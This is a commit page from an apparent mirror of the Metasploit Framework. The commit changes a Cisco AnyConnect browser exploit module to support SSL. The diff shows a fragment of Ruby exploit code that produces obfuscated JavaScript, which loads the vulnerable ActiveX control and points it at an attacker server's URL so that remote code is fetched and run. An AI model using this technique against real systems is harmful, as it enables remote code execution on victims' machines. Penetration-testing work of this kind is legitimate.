dnrops
/
metasploit-framework
1
0
Fork 0
Code Issues Pull Requests Packages Projects Releases Wiki Activity

adds support for SSL 

git-svn-id: file:///home/svn/framework3/trunk@12872 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
David Rude 2011-06-06 20:15:51 +00:00
parent 31a659e55a
commit b9e398c706
1 changed files with 2 additions and 3 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

5
modules/exploits/windows/browser/cisco_anyconnect_exec.rb
View File

@ -77,14 +77,13 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
url = ((datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'])
url << ":#{datastore['SRVPORT']}"
url = get_uri(cli)
dir = rand_text_alpha((rand(40) + 1))
js = ::Rex::Exploitation::JSObfu.new %Q|
var x = document.createElement("object");
x.setAttribute("classid", "clsid:55963676-2F5E-4BAF-AC28-CF26AA587566");
x.url = "http://#{url}/#{dir}/";
x.url = "#{url}/#{dir}/";
|
js.obfuscate
html = "<html>\n\t<script>#{js}\t</script>\n</html>"